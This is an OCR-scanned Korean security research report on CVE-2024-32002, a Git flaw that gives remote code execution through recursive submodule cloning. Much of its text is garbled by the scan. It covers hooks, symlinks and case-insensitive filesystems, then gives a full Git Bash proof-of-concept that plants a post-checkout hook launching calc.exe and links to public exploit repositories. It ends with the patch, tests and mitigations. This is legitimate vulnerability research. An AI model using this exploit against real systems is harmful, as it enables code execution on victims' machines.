F4 Client-Side L Server-Side L1
, 1
! !
! 1
[}
| Repositor '
| Changes P y — |
I Update |
[}

1
i |
I }
| | pre-commit | |commit—msg | | pre-receive | :
: v A v :
: | Prepare-commit-msg | | post-commitl | update | |post-receive| ;
‘\ / \ /I
\ 7 \\ 7

¥ commit ZHA: 2%E dlolE7t ok, AA|, o AFFEA AFEE AW

T
oflt
u
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Step 2. CVE-2024-32002 52 =]

1) HAEA &

Windows €F MacOS oA AHO] 3¢, Linux T A|A”ME o2 dopdl fiE2het 27225
TFobA] 9= BAol Ak Git o Ae+e 7[EAC=® ignoreCase Aol false = H o9l
AR AE e

C:\>type egst

This is test file
C:\>type EqSt
This is test file
C:\>type EQST
This is test file

a9 8. YAEA FLESIA] = Windows T A AH]

2) AE8 "3 (Symbolic link)
AEEY F3% dE 4SS JHrle mde xRt B3 dEELY HdEY Ha ode
sk, sl dEEDe] HIEE of 9 dEAEH A HISH] otz Hol 7Hesi

git config --global core.symlinks true

9 1) AR B mEA AHg viel Zo] Git ¥ Windows & HARA JLE ofHo]| o=
2ol HE 72 ok wEkA, AEE YA E AFHESHH clone T4 A HEER Y mLES
adEY J371 717l HHEER] WE clone sk 97t 7Hssith

Case 1. B]ZAEg o)A A/modules/x T clone 5= 3¢
{BlZAE" A=Z}/A/modules/x T clone = AL, ol EZo] {FEZAEFHE clone
ZA2}/A/modules/x o] FZo] x| gt

et
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Case 2. FEZXEF A A/modules/x ¢ H&E2 H3 a( ) gi)E 7 clone st= F-¢
{(FxAE2 A=2}/A/modules/x ¢ AEE =3 (FEZAET AR}/a( -) giE I clone =
25, BEAEDY A=A 7t AEE J32E A Hol {HEZAEZE clone T
A2}/ .git/modules/x 2 clone ot= TUo] A|gct.

,,,,,,,,,,,,,, Casel1 ____________ i Case2
o Repository \\:\\\ /,;,f’ Repository “\\\\\
] \ A
B RS D A
{ i A i : 1 i A i i
I I I I
. I_B BN - o
] | | 1 | I Il
| | | | | |
i } modules : i Lo modules Lo
| | I I | I
! D ... S
o gitclonel | | igit clone L
b X ; i ! X 1o

/

AN S 2> giy .
i s e e S g . i B e e et o et A .
s Local storage T i i Local storage N i
| / \ | !

B L AN |
L A o it o
| | | I | | I
| | | I I | r | I
| -5 NN B .
bt modules Lo modules |
I | | 1 | I | I
s & &
i | | 1 1 I I ]
Ao X )/ o X P/
\\ \\ / ’I \\ \\ 8-> git/ / ’/

d9 9. Case 1 ?}(Case 2 9] w2 git clone 522 Z}o|

CVE-2024-32002 14 g 522 AERES cloned of WAt AERE 7152 846 git

offioll M-S ARE She I offfoll AAHIs] ettt

3) Git & +%

step 1 A A5t BRel o] git/hooks oA 54 4ol AL hook ~AIHES HTH
SolAT, AERES] hook AFHELE git/modules/EC]E/hooks HZA

%, git HEEH <doo md2 AT £ Sloew de ®HE Aol s
AAFRIE git HEER]= HolHE AFstal #efste dge ottt A2 T YEEZ|Y olh|
o] e HIAEZHA git init & H3YsHHA

]_
SR Git & git CEEaE FrEC,
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BE¥ 22| Ak C\Windows\system32\cmd.exe

C:Hdevigit init test
Initialized empty Git repository in C:/dev/test/.git/

C:Wdev>cd test

C:Wdevittest>dir /ah
C EctolB2l =5&: Windows-550
=5 2dH t'._12 SBDF FFDF

C:Wdeviitest Cl2E 2|
2024-01-07 <= 04:20 <DIR> .git
. 02 el 0 Hio|=
120 Clleiel  791,191,564,288 HiO|E
9 10. git init ©]F git A ES] FAY &3

git DAEAS Fo) doles Agstn pelsh] tRe] Y dARHES BASPIR S
Agart WY Bk Z1RH gic JAEY W THL ofefet ol THHM, 2F git FUE
Agsta gl

BN 22| A C\Windows\system32\cmd.exe

C:Wdevittest>cd .git

C:WdevittestW .git>dir
C EctolBe =2&: Windows-55D
%Egﬁﬁg wwwm

C:Wdevittestit.git Cl2lE 2]

2024-07-07 @ 04:20  <DIR> -
2024-07-07 2% 04:20 112 config
2024-07-01 <@ = 04:20 13 description
2024-07-07 2= 04:20 21 HEAD
2024-07-07 2% 04:20  |<DIR> hooks
2024-071-01 @ 04:20  |<DIR> info
2024-07-07 2% 04:20  |<DIR> objects
2024-07-07 2= 04:20  |<DIR> refs

30 el 206 HIO[E

SO ClelElel 791.190,814,720 LIOIE e

a9 11 git HHEZ] WE 74 2l

ol Eol. config UL Y mRAES] YA HHL, info FHAELL gitignore THAT} o]
=A% 7o) e, hooks HlelE2lol Step 1 o4 AEG hook AAAET} 975t

4) NBERE XA EL

Git 2 EZEY ¢t thg RAELE HHAEZ=Z Y& & Qv ABREClR}E EFE
Agett, AEEES F71E o, ofd AERES git HHEL= AHEE ofdi7t ofd A9
I E git HHAEZ] WHO modules HIEZ] AEREFOlE TAEZ Yo fIx|gict.
EQSTtest ©]&9] AMERES F7lstH HWQl ZAEZ W  gitWmodulesWEQSTtest  of| 4]
Humgel gi quEasl T4E A AT 5 A,
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BN 22| A C\Windows\system32\cmd.exe

C:Wdeviitest?>git commit -m "add-submodule”
i[main (root-commit) 598f784] add-submodule
2 Tiles changed, 4 insertions(+)
create mode 100644 .gitmodules
create mode 160000 submodule

C:WdevittestZ>cd .gitHmodul esHEQSTtest
C:Wdeviitest2W. gi tWmodul esWEQSTtest>dir

| C E2t0|Be =&: Windows-SSD
=5 93 v 36DF-FFDF

C:Wdevittest?W.gitHmodul esWEQSTtest ClelE |

2024-07-07 = (04:52 <DIR>
2024-07-07 04:52 <DIR> o
2024-07-07 04:52 286 config
2024-07-07 04:52 13 description
L2024—07—0? 04:52 21 HEAD
|2024707707 04:52 <DIR> hooks
2024-07-07 04:52 200 index
2024-07-07 04:52 <DIR> info
2024-07-07 04:52 <DIR> logs
2024-07-07 04:52 <DIR> objects
2024-07-07 04:52 112 packed-refs
2024-07-07 =1 <DIR> refs
ol 692 HI0O|E
0 g el 791,201,267.712 BIOIE Y 3S

a9 12. gitWmodulesWEECE AZ W AHRES] git A ED T2l

TAAE MERES JHE= otgiet Zo] fEZXE Y .gitmodules THAA 21 7Hsotct,

BN 2| AL C:\Windows\system32\cmd.exe

C:#devittestZ>type .qitmodules
[submodule "EQSTtest"]

path = submodule
url = C:##tdevithitesti

9 13. gitmodules =} & &<l
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5) CVE-2024-32002

oA A3t 71552 Fotd Windows‘% MacOS TAAAH YofA=
271 "zl A28 FAE ARG AERES git Yol HAE o A
o, .git/modules/A B X-E°]&/hooks ] XST__LO]-OJ Qjojo] mde ARCF =
F71d o GAle] HAHE FA5t7] 98l checkout ©& submodule F7F ©@A]e] branch &
Y2 EB= hook 7|59 post—checkout & 5ol A= Ao Fg AP0 7h5oirt.

4>5£
|

o%.

A e 2aHoz s,

O MERES y/hooks/ A= o}l post—checkout AFHEE F7}okal, ©]& commit ST},

@ =l HEAELHE AT F AERES olFs x/y = A4S, ABEHE]
A/modules/x OHEED Y ¢25te= AATITH

@ git= 7H71aL e AEE AL a F71F 7 HEAEZ] commit T
@ o] & git clone 02 ABEREN 7] fmAEAES BAoh] HH giAngs FHoHA
RH Windows th MacOS mA28lo] 54 41 AL 4122 93 antde Wbt gie g
71714 "ty w4,  A/modules/x/y/hooks ©] YRESIooF & ANBERE
g2 git/modules/x/y/hooks Zo] PHo|E Hrt,
® o] .git/modules/A|BH-E°]F/hooks 7=e} FUSIER, AMHHEEFS post—checkout

ntdo] AR AP, g IS EAeletd offieh gt

i ; Submodule repository -

# Main repository %
|® git 2 712171E UEY Y3 4y B \
* s

@ .git/modules/x AE | M2
hooks

O E clone
=

post-checkout

modules !

|_ ' ® MELZE clone 22 ppst-
checkout ﬁEﬂ_Ei E AlSH

x/y/hooks B

1% 14. CVE-2024-32002 52 74

EQST insight | 39



9] B2 ot FHPE Git Bash* oA AaPste] s 5= rt.
#!/bin/bash
git config --global core.symlinks true

# NEZ2= clZXEe =Dt
git init hook

cd hook

mkdir -p y/hooks

# 4oH ATJEE &2 (calc.exe AEH)
cat > y/hooks/post-checkout <<EOF
#1/bin/bash

calc.exe

EOF

# AOEE daids 20

chmod +x y/hooks/post-checkout

# NEZ2= clZXI&Eel add
git add y/hooks/post-checkout
# NER2E SIZXE2| commit

git commit -m "post-checkout"
cd ..

# 0ol elZX&Eel =3t

git init eqgst

cd egst

# 0ol elZX&Eel W MEE2=E =0t

git submodule add --name x/y "/c/dev/hook"™ A/modules/x
# O 2lZXNEe2l commit

git commit -m "add-submodule"

# symlink M4

printf ".git" > dotgit.txt

git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info

git commit -m "add-symlink"

cd ..

* Git Bash: 2GAA] F@otA 252 PPolE A8 4 A=F: Aot Git 9] Bash Shell
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ZIME A9 o]F post—checkout hook AFHEZ} AdPE|o] calcexe 7} A= 7S 2FQIg &
ek,
o = O b
Standard )
he replaced LF the nex 0
M+ M- MS
Vv %z 28
{= & =
8 9 X
5 6 -
2 3 g
0 : =

6) Git §&o 49 4
Git 2 79 Be WH Sl diet 4 238 92 & %= 7Is& AYdH. GIT_TRACE

—

4
MAE rue 2 ARAA BAL FAT 4 9l ofdl AWEe Zol A8T 4 9rk

GIT_TRACE=1 git clone --recursive eqst eqsttest

9 wEel A olF, uE¥ ol Ci/dev/hook Z=el Sl AMHEES EAELE

C:/dev/egsttest/A/modules/x 7 =20] clone ot= A= 2RI 4= Qi

MINGWE4:/c/dev/hook - O X

built-in: g

GIT_DIR; GIT_P

1Y 16. AHRE clone o] &2l
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o] W], ——separate—git—dir FHAC2 git JAEZS C:/dev/egsttest/.git/modules/x/y 2 H75}7|
Hledl, AEE H3 oY a 2 Qlote] Ci/dev/egsttest/a —» .git/modules/x/y 2 C:/dev/hook/y
ZA=zo] nd-g 9 HAHE git HHEF W(a—).git)= clone 5HA Hr.

o]% MEREA submodule & F7}5t @Al branch 2 checkout 3}H, checkout ©JHIEZ}
HrPASto] wat hooks A= W post—checkout AT HEZ} AYHc

MINGWE4:/ ¢/ dev/hook B O *

trace:

$1 checkout & @ branch & A|BREA gitlog P& &l &< 7Hsstrh

MINGWEL/c/dev/hook

19 18. JBERE checkout P o]E P3t branch <l

EQST insight | 42



Step 3. ¢t Ql ¥A Git B EAEF F4
ofol2Ql ¥4 PEAEZ = Step 2 o4 At W8T FAT 720 HIQ AR EYL}T AEEF
xR B2 LA

\
1
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Addi git submodlule

! I
‘ |
‘ I
‘ I
|
| |
‘ I
. | |
.gitmodules | |
| |
‘ |
|
| |
‘ |
|

a9 19. 4S9 RAED] 7=

25 github.com/EQSTSeminar/hook

(snn) )

B EQSTSeminar / git_rce  Public £ Notifications % Fork 0 r Star 0 - H EQSTSeminar/hook  Public £ Notifications % Fork 0 £ Star 0
¢> Code (@ Issues 19 Pullrequests (® Actions [ Projects @ Security |~ Insights <> Code (@ Issues 1% Pullrequests (® Actions [ Projects @ Security |~ Insights
¥ main - F © Go to file <> Code ~ About ¥ main ~ ¥ o Go to file <> Code ~ About

git clone rce CVE-2024-30002 submodule for git_rce
EQSTSeminar Update READMEmd Sdeeedd 3 o O EQSTSeminar Update READMEm 2712b1a Idaysage D
M Readme O Readme
Afmodules add-submodule 5 days ago A y y/hooks ip changed 5 days ago A y
stars 0 stars
gitmodules add-submodule README.md Update README.md 3 days ago
D B 5] =
(o] & 1watching
[ ReADMEmd o
1] README
B add-symlink 5 days ago Repo

a7 20. FojFQ] 97 HQ AXAEEHS 94 ABEE XA ED(S)

slof o] otelEom TAT U EAEe 49 AHgATF BEE clone S R WoRE
™
o
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https://github.com/EQSTSeminar/git_rce F4°] YA XA EZE FAFHY 7HAS|EAL
Rkl

usfiZt7F o PP ol= clone Qtttd, ¥4 W&ol wsizte] Hire oA A

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

File Actions Edit View Help

/home/kali

\Windows\Syst

ontains the mapping
y should be kept on an indi

be placed in the first column foll
The TP address and the host nam

space.

Additionally, ments (suc th.
lines or following the machine nanm

olution is handl
127.0.8.1 localhost
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ot

m oS

2024 & 5 ¥ 14 dofl 3HE 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, 2.39.4 HZo)A

FeFdo] wi] = At CVE-2024-32002 o ti-g-517] Y3l of=f Moz dgolE

sloF @t

HE x|

Git 2451, 2441, 2.43.4, 2422, 241.1,2.40.2, 2.39.4 0| HH
727 e Feolz AEY 23 7% WSt sto] FHePHel Ygd 4 k.

git config --global core.symlinks false

EG, AL AT

= Y EZAEZE clone 514

oFL
= A

A Fasit.

« URL: https://github.com/git/git/security/advisories/ GHSA-8h77-4q3w—gfgv

4
t}. A, clone_submodule g4

39,

|€ Aot builtin/submodule——helper.c

oA oo HIF ol

A FEAA WAAG] AT AL FAY 5
27t

static int clone_submodule(const struct module_clone_data *clone_data,
struct string_list *reference)
i

char #p;
char *sm_gitdir = clone_submodule_sm_gitdir(clone_data—>name):
char xsm_alternate = NULL, *error_strategy = NULL:

struct child_process cp = CHILD_PROCESS_INIT:
const char *clone_data_path = clone_data—>path;
char *to_free = NULL;

if (lis_absolute_path(clone_data—>path))
clone_data_path = to_free = xstrimt("%s/%s", get_ait_work_tree(),
clone_data—>path):
if (validate_submodule_git_dir(sm_gitdir,
die(_("refusing to create/use "%s’
"git dir"), sm_gitdir);

clone_data—>name) < 0)
in another submodule's "

if (Ifile_exists(sm_gitdir)) {

if (safe_create_leading_directories_const(sm_gitdir) < 0)
die(_("could not create directory '%s'"), sm_gitdir):

prepare_possible_alternates(clone_data->name, reference):

static int clone_submadule(const struct module_clone_data *clone_data,

{

struct string_list *reference)

char #p;

char *sm_gitdir = clone_submodule_sm_gitdir(clone_data—>name):
char *sm_alternate = NULL, *error_strategy = NULL:

struct stat st;

struct child_process cp = CHILD_PROCESS_INIT:

const char +clone_data_path = clone_data—>path;

char *to_free = NULL;

if (validate_submodule_path(clone_data_path) < 0)
exit(128

if (lis_absolute_path(clone_data—>path))
clone_data_path = to_free = xstrimt("%s/%s"
clone_data—>path):

, get_git_work_tree(),

if (validate_submodule_git_dir(sm_gitdir,
die(_("refusing to create/use "%s’
"git dir"), sm_gitdir);

clone_data—>name) < 0)
in another submodule's "

if (Ifile_exists(sm_ gitdir)) {

if (clone_data—>require_init && Istat(clone_data_path, &st) &%
lis_empty_dir(clone_data_path))

die(_("directory not empty: '%s'"),

clone_data_path);

if (safe_create_leading_directories_const(sm_gitdir) < 0)
die(_("could not create directory "%s'"), sm_gitdir):

prepare_possible_alternates(clone_data->name, reference):

39 22. builtin/submodule—-helper.c o4 clone_submodule &4 W F71d ZE

{%_?TL%HL submodule & ¢
5 dezasl e

ot %

&

T

“directory is not empty” 122

clone o}7] e s AH=Zo .git mtATr ZF L o]
Hlo] Qx| gelghtt, whef I¥x] ke He
de FHotESE AT
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E3, dir_contains_only_dotgit ?57F F71E S, i 4= HAE] git ohdvh 23E o]
£ 02 dEEfE xgEo] oA gRigith olF o oy e} xghE ol

3% 23. builtin/submodule—-helper.c |4 714 dir_contains_only_dotgit <=

Tt FoFHo] mixdE wWHAgAME HAE AFYHE  t/t7406-submodule—update.sh o Th

£3YES F7kE R HAF 4 9ok,

% 24. t/t7406-submodule—update.sh oA 719 I &

g #7bE AAFPEL CVE-2024-32002 925 olgs FHobd xA o4RE AAdem
Adste HAE AaYER FRAL g AIYES FAHE HOOK-RUN #AAE

AP H, WA B 4R B A $2E

[e3

GRS
223t ell.rale HAS AT Qo] B

flo
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m 27 AJO|E

+ Git Documentation : https://git—scm.com/doc

+ Key GitHub Statistics in 2024 (Users, Employees, and Trends) : https://kinsta.com/blog/github—
statistics/

+ Git Notes for Professionals : https://books.goalkicker.com/GitBook/

* Git hooks : https://www.atlassian.com/git/tutorials/git—hooks

« A Detailed Explanation of the Underlying Data Structures and Principles of Git
https://www.alibabacloud.com/blog/a—detailed—explanation—of—the—underlying—data—structures—
and-principles—of—git_597391

+ Adjust case sensitivity : https://learn.microsoft.com/en—us/windows/wsl/case—sensitivity

* Recursive clones on case—insensitive filesystems that support symlinks are susceptible to Remote
Code Execution : https://github.com/git/git/security/advisories/ GHSA-8h77-4q3w—gfgv

« CVE-2024-32002 Critical vulnerability in Git @ https://www.tarlogic.com/blog/cve—2024-
32002-vulnerability—git/

« Exploiting CVE-2024-32002 RCE via git clone : https://amalmurali.me/posts/git—rce/
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